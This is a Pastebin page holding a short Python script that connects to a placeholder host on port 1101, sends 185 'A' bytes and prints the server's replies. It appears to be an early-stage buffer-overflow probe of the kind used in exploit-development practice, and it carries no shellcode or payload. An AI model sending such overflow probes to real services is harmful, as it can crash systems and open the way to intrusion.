Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #
- import sys,socket
- #SER_ADDR = input("Type the server IP address: ")
- #SER_PORT = int(input("Type the server port: "))
- SER_ADDR = "hostip"
- SER_PORT = 1101
- my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- my_sock.connect((SER_ADDR, SER_PORT))
- print("Connected!")
- data = my_sock.recv(1024)
- print(data.decode('utf-8'))
- buff = "\x41"*185
- my_sock.sendall(bytes(buff))
- data = my_sock.recv(1024)
- print(data.decode('utf-8'))
- my_sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement